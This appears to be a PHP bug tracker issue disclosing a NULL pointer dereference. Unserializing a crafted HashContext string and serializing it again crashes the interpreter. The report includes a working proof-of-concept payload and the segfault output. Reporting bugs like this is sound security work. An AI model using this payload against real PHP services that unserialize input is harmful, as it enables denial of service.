The unserialize function with HashContext leads to NULL pointer dereference when object serialized back

[012git012]

Description

Description

Version: PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Language assembly and compilation.
Listing 1. Language assembly and compilation.

$ git clone https://github.com/php/php-src.git
$ cd php-src
$ ./buildconf
$ ./configure
$ make -j8
$ ./sapi/cli/php -v
PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce

The source code.
Listing 2. The source code.

<?php
$payload = 'C:11:"HashContext":0:{}';

$obj = @unserialize($payload);  
if ($obj) {
    serialize($obj);  // SEGV here - NULL pointer dereference
}
?>

Executing this PHP code results in Segmentation fault due to NULL pointer dereference, leading to Denial of Service (DoS).
Listing 3.

$ ./php-src/sapi/cli/php poc.php
Segmentation fault (core dumped)

NULL pointer dereference leads to process crash, causing Denial of Service. In ZTS mode, this can stop all currently served requests in the process.

PHP Version

PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)

Operating System

No response

[DanielEScherzer]

Exists since at least 8.3, https://3v4l.org/NDvso#v